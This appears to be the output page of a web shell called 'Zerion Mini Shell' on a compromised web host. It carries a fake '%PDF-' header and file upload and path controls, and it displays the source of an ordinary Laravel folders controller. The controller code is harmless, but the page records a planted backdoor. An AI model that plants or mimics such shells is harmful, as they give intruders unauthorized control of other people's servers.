%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/public_html/vebto/app/Http/Controllers/
Upload File :
Create Path :
Current File : /home/graphicd/public_html/vebto/app/Http/Controllers/FoldersController.php

<?php

namespace App\Http\Controllers;

use App\FileEntry;
use App\Folder;
use App\Services\Entries\CreateFolder;
use App\Services\Entries\FolderExistsException;
use App\Services\Entries\SetPermissionsOnEntry;
use Auth;
use Common\Core\BaseController;
use Common\Files\Events\FileEntryCreated;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;

class FoldersController extends BaseController
{
    /**
     * @var Folder
     */
    private $folder;

    /**
     * @var Request
     */
    private $request;

    /**
     * @param Folder $folder
     * @param Request $request
     */
    public function __construct(Folder $folder, Request $request)
    {
        $this->folder = $folder;
        $this->request = $request;
    }

    /**
     * Find a folder using specified params.
     *
     * @return JsonResponse
     */
    public function show()
    {
        if ($this->request->has('hash')) {
            $folder = $this->folder->with('users')->whereHash($this->request->get('hash'))->firstOrFail();
        }

        $this->authorize('show', $folder);

        return $this->success(['folder' => $folder]);
    }

    public function store()
    {
        $name = $this->request->get('name');
        $parentId = $this->request->get('parentId');

        $this->validate($this->request, [
            'name' => 'required|string|min:3',
            'parentId' => 'nullable|integer|exists:file_entries,id',
        ]);

        $this->authorize('store', [FileEntry::class, $parentId]);

        try {
            $folder = app(CreateFolder::class)->execute([
                'name' => $name,
                'parentId' => $parentId,
                'ownerId' => Auth::id()
            ]);
        } catch (FolderExistsException $e) {
            return $this->error('', ['name' => __('Folder with same name already exists.')]);
        }

        event(new FileEntryCreated($folder, $this->request->all()));

        return $this->success([
            'folder' => app(SetPermissionsOnEntry::class)->execute($folder->load('users'))
        ]);
    }
}

Zerion Mini Shell 1.0